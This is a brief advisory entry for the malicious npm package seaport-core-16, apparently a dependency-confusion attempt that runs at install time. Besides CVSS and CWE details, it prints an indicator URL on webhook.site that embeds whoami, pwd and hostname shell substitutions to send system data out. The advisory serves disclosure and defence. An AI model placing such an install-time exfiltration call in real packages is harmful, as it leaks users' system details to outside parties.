GCVE-110-OSM-2026-2083

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published April 12, 2026

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. Key findings: - OAST/Interactsh Exfiltration in package.json: "webhook.site" - OAST/Interactsh Exfiltration in package.json.save: "webhook.site" IOCs: - webhookServices: https://webhook.site/37eb1bc0-06f3-4f3f-938a-5b1d43c5ba86/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	seaport-core-16	all (affected)	—

References

Malicious npm package: seaport-core-16

advisory

vendor

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